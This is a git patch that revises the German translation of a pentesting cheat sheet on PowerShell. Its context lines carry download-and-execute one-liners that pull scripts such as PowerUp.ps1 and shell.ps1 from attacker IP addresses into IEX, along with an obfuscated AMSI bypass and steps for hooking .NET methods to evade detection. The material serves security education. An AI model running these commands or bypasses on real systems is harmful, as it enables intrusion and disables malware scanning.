From 633130fe29ebf92af4db884e0003c31f77b1de73 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 16:14:00 +0000 Subject: [PATCH] Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM --- .../basic-powershell-for-pentesters/README.md | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 589e0fcf0..74245c2ee 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -18,7 +18,6 @@ Get-Command -Module ``` ## Herunterladen & Ausführen ```powershell -g echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -113,13 +112,13 @@ ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` -### AMSI-Bypass +### AMSI Bypass -**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exports**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt. +**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exporte**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt. -Daher besteht das Ziel der AMSI-Bypässe darin, die **Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**. +Daher ist das Ziel der AMSI-Bypässe, die Sie verwenden werden, **die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**. -**AMSI-Bypass-Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/) +**AMSI Bypass Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/) ```powershell # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -170,14 +169,14 @@ Check [**diesen Beitrag für detaillierte Informationen und den Code**](https:// Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Es stellt sich heraus, dass .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden müssen, die sehr ähnlich wie native Methoden aussehen. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern. -Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind: +Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind: 1. Identifizieren Sie die Zielmethode, die gehookt werden soll 2. Definieren Sie eine Methode mit demselben Funktionsprototyp wie das Ziel 3. Verwenden Sie Reflection, um die Methoden zu finden 4. Stellen Sie sicher, dass jede Methode kompiliert wurde 5. Finden Sie den Speicherort jeder Methode im Speicher -6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode zeigen +6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen ### AMSI Bypass 3 - SeDebug Privilege @@ -192,7 +191,7 @@ Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind: ```powershell Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` -## Finde neuere Dateien +## Neuere Dateien finden Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` ```powershell @@ -202,7 +201,7 @@ Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt # LastWriteTime: (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` -## Berechtigungen erhalten +## Berechtigungen abrufen ```powershell Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` @@ -227,9 +226,7 @@ $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` -[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) - -## Domänen-Recon +## Domain Recon {{#ref}} powerview.md